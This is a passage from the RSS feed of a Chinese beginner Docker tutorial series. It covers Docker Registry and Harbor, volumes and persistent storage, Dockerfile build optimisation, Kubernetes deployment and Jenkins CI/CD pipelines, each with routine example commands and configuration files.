&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;与 Supervisor 集成（可选）&lt;/h2&gt;
&lt;p&gt;除了 systemd，还可以使用 Supervisor 管理容器进程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[program:myapp]
command=docker run --rm -p 8080:80 yourname/myapp
autostart=true
autorestart=true
stderr_logfile=/var/log/myapp.err.log
stdout_logfile=/var/log/myapp.out.log
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;将 Docker 容器与系统服务集成，可以提升部署的稳定性与可维护性&lt;/p&gt;
&lt;p&gt;无论是使用 systemd、Supervisor 还是 Docker 自带的重启策略，都能实现容器的自动运行与统一管&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (10) - Docker Registry 镜像仓库管理</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-10---docker-registry-%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E7%AE%A1%E7%90%86/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-10---docker-registry-%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93%E7%AE%A1%E7%90%86/</guid><description>Docker入门系列 (10) - Docker Registry 镜像仓库管理</description><pubDate>Tue, 30 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;镜像是容器的基础，而镜像仓库则是容器生态的核心枢纽&lt;/p&gt;
&lt;p&gt;本章将介绍 Docker Registry 的使用方式，包括官方仓库 Docker Hub、自建私有仓库，以及镜像的推送、拉取与版本管理，帮助你构建安全、高效的镜像分发体系&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;什么是 Docker Registry&lt;/h2&gt;
&lt;p&gt;Docker Registry 是用于存储和分发 Docker 镜像的服务。常见类型包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker Hub&lt;/strong&gt;：Docker 官方公共仓库，支持公开与私有镜像&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Harbor&lt;/strong&gt;：企业级私有仓库，支持权限控制与镜像扫描&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自建 Registry&lt;/strong&gt;：使用官方 &lt;code&gt;registry&lt;/code&gt; 镜像快速部署本地仓库&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;镜像的命名规范&lt;/h2&gt;
&lt;p&gt;镜像名称格式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[仓库地址]/[用户名或组织]/[镜像名]:[标签]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nginx:latest
yourname/myapp:v1.0
registry.example.com/backend/api:v2
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;登录与认证&lt;/h2&gt;
&lt;p&gt;登录 Docker Hub：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker login
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录私有仓库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker login registry.example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;退出登录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker logout
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;镜像推送与拉取&lt;/h2&gt;
&lt;p&gt;推送镜像到远程仓库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker tag myapp yourname/myapp:v1.0
docker push yourname/myapp:v1.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拉取镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker pull yourname/myapp:v1.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看本地镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker images
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;自建私有 Registry&lt;/h2&gt;
&lt;p&gt;快速部署：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d -p 5000:5000 --name registry registry:2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;推送镜像到本地仓库：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker tag myapp localhost:5000/myapp
docker push localhost:5000/myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拉取镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker pull localhost:5000/myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Harbor 简介&lt;/h2&gt;
&lt;p&gt;Harbor 是一个企业级镜像仓库，支持：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户与角色权限管理&lt;/li&gt;
&lt;li&gt;镜像签名与漏洞扫描&lt;/li&gt;
&lt;li&gt;LDAP/AD 集成&lt;/li&gt;
&lt;li&gt;Web UI 与 API 支持&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;部署方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用 Helm 安装到 Kubernetes&lt;/li&gt;
&lt;li&gt;使用 Docker Compose 本地部署&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;镜像版本管理建议&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用语义化版本号（如 &lt;code&gt;v1.0.0&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;避免使用 &lt;code&gt;latest&lt;/code&gt; 标签部署生产环境&lt;/li&gt;
&lt;li&gt;定期清理过期镜像，节省存储空间&lt;/li&gt;
&lt;li&gt;使用标签策略区分环境（如 &lt;code&gt;dev&lt;/code&gt;, &lt;code&gt;staging&lt;/code&gt;, &lt;code&gt;prod&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;镜像仓库是容器化部署的基础设施之一&lt;/p&gt;
&lt;p&gt;通过合理使用 Docker Hub、自建 Registry 或 Harbor，你可以实现镜像的集中管理、安全分发与版本控制&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (9) - 容器数据卷与持久化存储</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-9---%E5%AE%B9%E5%99%A8%E6%95%B0%E6%8D%AE%E5%8D%B7%E4%B8%8E%E6%8C%81%E4%B9%85%E5%8C%96%E5%AD%98%E5%82%A8/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-9---%E5%AE%B9%E5%99%A8%E6%95%B0%E6%8D%AE%E5%8D%B7%E4%B8%8E%E6%8C%81%E4%B9%85%E5%8C%96%E5%AD%98%E5%82%A8/</guid><description>Docker入门系列 (9) - 容器数据卷与持久化存储</description><pubDate>Mon, 29 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;容器是临时的，但数据不是&lt;/p&gt;
&lt;p&gt;本章将深入讲解 Docker 的数据管理机制，重点介绍 Volume（数据卷）的使用方式、挂载策略与最佳实践，帮助你实现容器间的数据共享与持久化存储&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么需要数据卷&lt;/h2&gt;
&lt;p&gt;默认情况下，容器中的数据会随着容器销毁而丢失&lt;/p&gt;
&lt;p&gt;为了解决数据持久化与共享问题，Docker 提供了三种挂载方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Volume&lt;/strong&gt;：由 Docker 管理的挂载点，推荐使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bind Mount&lt;/strong&gt;：将宿主机目录挂载到容器中，灵活但不隔离&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;tmpfs&lt;/strong&gt;：将数据存储在内存中，适用于敏感或临时数据&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;使用 Volume 的基本方式&lt;/h2&gt;
&lt;p&gt;创建数据卷：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker volume create mydata
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看卷列表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker volume ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;挂载卷到容器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d -v mydata:/app/data nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;容器中的 &lt;code&gt;/app/data&lt;/code&gt; 目录将映射到 &lt;code&gt;mydata&lt;/code&gt; 卷中&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Bind Mount 示例&lt;/h2&gt;
&lt;p&gt;将宿主机目录挂载到容器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d -v /home/user/config:/etc/nginx nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;适用于配置文件、日志文件等需要直接访问的场景&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;tmpfs 示例&lt;/h2&gt;
&lt;p&gt;将数据存储在内存中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d --tmpfs /app/cache nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;适用于缓存、会话等不需要持久化的数据&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Volume 与 Compose 集成&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;docker-compose.yml&lt;/code&gt; 中定义卷：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;
services:
  db:
    image: postgres
    volumes:
      - dbdata:/var/lib/postgresql/data

volumes:
  dbdata:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Compose 会自动创建并挂载 &lt;code&gt;dbdata&lt;/code&gt; 卷，实现数据库持久化&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;查看与清理卷&lt;/h2&gt;
&lt;p&gt;查看卷详情：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker volume inspect mydata
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;删除未使用的卷：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker volume prune
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;删除指定卷：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker volume rm mydata
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;最佳实践&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 Volume 而非 Bind Mount 进行持久化，避免宿主机依赖&lt;/li&gt;
&lt;li&gt;将数据卷与容器生命周期解耦，提升可维护性&lt;/li&gt;
&lt;li&gt;定期备份数据卷内容，防止数据丢失&lt;/li&gt;
&lt;li&gt;对敏感数据使用加密挂载或专用存储插件&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;数据卷是容器化部署中不可或缺的一部分&lt;/p&gt;
&lt;p&gt;通过合理使用 Volume、Bind Mount 与 tmpfs，你可以实现数据的持久化、共享与隔离&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (8) - Dockerfile进阶与构建优化</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-8---dockerfile%E8%BF%9B%E9%98%B6%E4%B8%8E%E6%9E%84%E5%BB%BA%E4%BC%98%E5%8C%96/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-8---dockerfile%E8%BF%9B%E9%98%B6%E4%B8%8E%E6%9E%84%E5%BB%BA%E4%BC%98%E5%8C%96/</guid><description>Docker入门系列 (8) - Dockerfile进阶与构建优化</description><pubDate>Sun, 28 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Dockerfile 是构建镜像的核心脚本，它定义了容器的运行环境、依赖、启动方式等内容&lt;/p&gt;
&lt;p&gt;本章将深入讲解 Dockerfile 的高级指令、构建优化技巧以及多阶段构建的实战应用，帮助你构建更高效、更安全的镜像&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Dockerfile 回顾&lt;/h2&gt;
&lt;p&gt;一个基础的 Dockerfile 示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM node:18
WORKDIR /app
COPY . .
RUN npm install
CMD [&quot;npm&quot;, &quot;start&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常用指令详解&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指令&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FROM&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;指定基础镜像&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RUN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;执行命令（如安装依赖）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;COPY&lt;/code&gt; / &lt;code&gt;ADD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;拷贝文件到镜像中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WORKDIR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置工作目录&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CMD&lt;/code&gt; / &lt;code&gt;ENTRYPOINT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置容器启动命令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ENV&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;设置环境变量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EXPOSE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;声明端口（仅文档作用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VOLUME&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;声明挂载点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LABEL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;添加元数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;构建优化技巧&lt;/h2&gt;
&lt;h3&gt;减少镜像层数&lt;/h3&gt;
&lt;p&gt;将多个命令合并为一条：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RUN apt-get update &amp;amp;&amp;amp; apt-get install -y curl git
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;利用缓存机制&lt;/h3&gt;
&lt;p&gt;将不常变动的步骤放前面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;COPY package.json .
RUN npm install
COPY . .
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;使用 &lt;code&gt;.dockerignore&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;忽略无关文件，加快构建速度：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;node_modules
.git
*.log
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;多阶段构建&lt;/h2&gt;
&lt;p&gt;用于构建与运行环境分离，减小镜像体积：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 构建阶段
FROM node:18 AS builder
WORKDIR /app
COPY . .
RUN npm install &amp;amp;&amp;amp; npm run build

# 运行阶段
FROM nginx:alpine
COPY --from=builder /app/dist /usr/share/nginx/html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;优势：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;构建依赖不会进入最终镜像&lt;/li&gt;
&lt;li&gt;更安全、更轻量&lt;/li&gt;
&lt;li&gt;适用于前端项目、Go、Rust 等编译型语言&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;安全性建议&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用官方或可信镜像源&lt;/li&gt;
&lt;li&gt;避免使用 &lt;code&gt;latest&lt;/code&gt; 标签，锁定版本&lt;/li&gt;
&lt;li&gt;清理构建缓存与临时文件&lt;/li&gt;
&lt;li&gt;最小化权限，避免使用 root 用户&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;实战演练：构建一个生产级 Node.js 镜像&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;FROM node:18-alpine
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
EXPOSE 3000
CMD [&quot;node&quot;, &quot;index.js&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构建并运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker build -t mynodeapp .
docker run -d -p 3000:3000 mynodeapp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Dockerfile 是连接开发与部署的桥梁&lt;/p&gt;
&lt;p&gt;通过合理使用指令、优化构建流程、采用多阶段构建，便可以打造出高效、可维护的镜像结构&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (7) - Docker 与 Kubernetes 集成</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-7---docker-%E4%B8%8E-kubernetes-%E9%9B%86%E6%88%90/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-7---docker-%E4%B8%8E-kubernetes-%E9%9B%86%E6%88%90/</guid><description>Docker入门系列 (7) - Docker 与 Kubernetes 集成</description><pubDate>Sat, 27 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;随着容器技术的发展，Kubernetes（简称 K8s）已成为容器编排的事实标准&lt;/p&gt;
&lt;p&gt;本章将介绍如何将 Docker 与 Kubernetes 集成，理解两者的关系，并完成一个基础的容器部署示例&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么选择 Kubernetes&lt;/h2&gt;
&lt;p&gt;虽然 Docker Swarm 提供了基本的容器编排能力，但 Kubernetes 拥有更强大的功能和更广泛的社区支持：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自动化部署与回滚&lt;/li&gt;
&lt;li&gt;服务发现与负载均衡&lt;/li&gt;
&lt;li&gt;弹性伸缩与资源调度&lt;/li&gt;
&lt;li&gt;健康检查与自愈机制&lt;/li&gt;
&lt;li&gt;丰富的生态系统与插件支持&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Docker 与 Kubernetes 的关系&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Docker 是容器运行时，负责构建和运行容器&lt;/li&gt;
&lt;li&gt;Kubernetes 是容器编排平台，负责调度和管理容器集群&lt;/li&gt;
&lt;li&gt;Kubernetes 可使用 Docker 作为底层运行时（也支持其他如 containerd）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;环境准备&lt;/h2&gt;
&lt;p&gt;推荐使用以下方式快速体验 Kubernetes：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Minikube&lt;/strong&gt;：本地单节点 Kubernetes 集群&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kind&lt;/strong&gt;：基于 Docker 的 Kubernetes 集群&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;K3s&lt;/strong&gt;：轻量级 Kubernetes，适合边缘设备&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;安装 Minikube 示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew install minikube
minikube start
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;部署一个 Docker 镜像到 Kubernetes&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;编写 Dockerfile 构建镜像：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;FROM nginx
COPY ./index.html /usr/share/nginx/html/index.html
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;构建并推送镜像到镜像仓库：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;docker build -t yourname/nginx-demo .
docker push yourname/nginx-demo
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;编写 Kubernetes 部署文件 &lt;code&gt;deployment.yaml&lt;/code&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-demo
spec:
  replicas: 2
  selector:
    matchLabels:
      app: nginx-demo
  template:
    metadata:
      labels:
        app: nginx-demo
    spec:
      containers:
      - name: nginx
        image: yourname/nginx-demo
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;创建服务 &lt;code&gt;service.yaml&lt;/code&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: v1
kind: Service
metadata:
  name: nginx-service
spec:
  type: NodePort
  selector:
    app: nginx-demo
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80
      nodePort: 30080
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;部署到 Kubernetes：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;kubectl apply -f deployment.yaml
kubectl apply -f service.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;minikube service nginx-service
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;管理与监控&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;查看 Pod 状态：&lt;code&gt;kubectl get pods&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查看服务状态：&lt;code&gt;kubectl get svc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查看日志：&lt;code&gt;kubectl logs &amp;lt;pod-name&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用 Dashboard 或 Prometheus 进行可视化监控&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Kubernetes 提供了比 Docker Swarm 更强大的容器编排能力，是构建现代微服务架构的首选平台&lt;/p&gt;
&lt;p&gt;通过将 Docker 镜像部署到 Kubernetes，你可以实现真正的弹性伸缩、高可用与自动化运维&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (6) - CI/CD 与 Jenkins 实践</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-6---ci_cd-%E4%B8%8E-jenkins-%E5%AE%9E%E8%B7%B5/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-6---ci_cd-%E4%B8%8E-jenkins-%E5%AE%9E%E8%B7%B5/</guid><description>Docker入门系列 (6) - CI/CD 与 Jenkins 实践</description><pubDate>Fri, 26 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在现代软件开发流程中，持续集成（CI）与持续部署（CD）已成为 DevOps 的核心实践&lt;/p&gt;
&lt;p&gt;本章将介绍如何使用 Jenkins 与 Docker 构建自动化流水线，实现从代码提交到容器部署的全流程自动化&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;什么是 CI/CD&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;持续集成（CI）&lt;/strong&gt;：开发者频繁地将代码集成到主分支，并自动进行构建与测试&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持续部署（CD）&lt;/strong&gt;：将通过测试的代码自动部署到生产环境或测试环境&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CI/CD 能显著提升开发效率、减少人为错误，并加快产品迭代速度&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Jenkins 简介&lt;/h2&gt;
&lt;p&gt;Jenkins 是一个开源的自动化服务器，支持构建、测试、部署等任务&lt;/p&gt;
&lt;p&gt;它拥有丰富的插件生态，能够与 Docker、Git、Kubernetes 等工具无缝集成&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;环境准备&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;安装 Docker&lt;/li&gt;
&lt;li&gt;使用 Docker 启动 Jenkins：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;docker run -d \
  --name jenkins \
  -p 8080:8080 -p 50000:50000 \
  -v jenkins_home:/var/jenkins_home \
  jenkins/jenkins:lts
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;访问 Jenkins：&lt;code&gt;http://localhost:8080&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;首次启动会提示输入管理员密码，可通过容器日志获取：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker logs jenkins
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;安装必要插件&lt;/h2&gt;
&lt;p&gt;在 Jenkins 插件管理中安装以下插件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Docker Pipeline&lt;/li&gt;
&lt;li&gt;Git&lt;/li&gt;
&lt;li&gt;Blue Ocean（可选，用于可视化流水线）&lt;/li&gt;
&lt;li&gt;Pipeline Utility Steps&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;创建流水线项目&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;新建项目 → 选择“流水线”&lt;/li&gt;
&lt;li&gt;在配置中添加 &lt;code&gt;Pipeline Script&lt;/code&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;pipeline {
    agent any

    stages {
        stage(&apos;拉取代码&apos;) {
            steps {
                git &apos;https://github.com/your/repo.git&apos;
            }
        }

        stage(&apos;构建镜像&apos;) {
            steps {
                script {
                    docker.build(&apos;myapp&apos;)
                }
            }
        }

        stage(&apos;运行容器&apos;) {
            steps {
                sh &apos;docker run -d -p 8080:80 --name myapp myapp&apos;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;添加凭据与环境变量&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在 Jenkins 中添加 Git 凭据（如 SSH Key 或用户名密码）&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;withCredentials&lt;/code&gt; 或 &lt;code&gt;.env&lt;/code&gt; 文件管理敏感信息&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;实现自动触发&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;配置 Git Webhook，使每次提交自动触发构建&lt;/li&gt;
&lt;li&gt;或使用 Jenkins 的定时触发器（如 &lt;code&gt;H/5 * * * *&lt;/code&gt; 每 5 分钟执行一次）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;构建通知与回滚机制&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;集成邮件、Slack、Webhook 等通知方式&lt;/li&gt;
&lt;li&gt;使用标签或版本控制实现回滚部署&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;通过 Jenkins 与 Docker 的结合，我们可以构建一个高效、稳定的自动化部署系统&lt;/p&gt;
&lt;p&gt;CI/CD 不仅提升了开发效率，也增强了系统的可维护性与可靠性&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (5) - Docker Swarm</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-5---docker-swarm/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-5---docker-swarm/</guid><description>Docker入门系列 (5) - Docker Swarm</description><pubDate>Thu, 25 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在前几章中，我们已经掌握了 Docker 的基础命令、网络原理以及 Compose 的服务编排能力&lt;/p&gt;
&lt;p&gt;本章将深入讲解 Docker Swarm —— Docker 官方提供的原生容器集群管理工具&lt;/p&gt;
&lt;p&gt;Swarm 能够将多台主机组织成一个统一的集群，实现服务的高可用、自动调度与负载均衡&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;什么是 Docker Swarm&lt;/h2&gt;
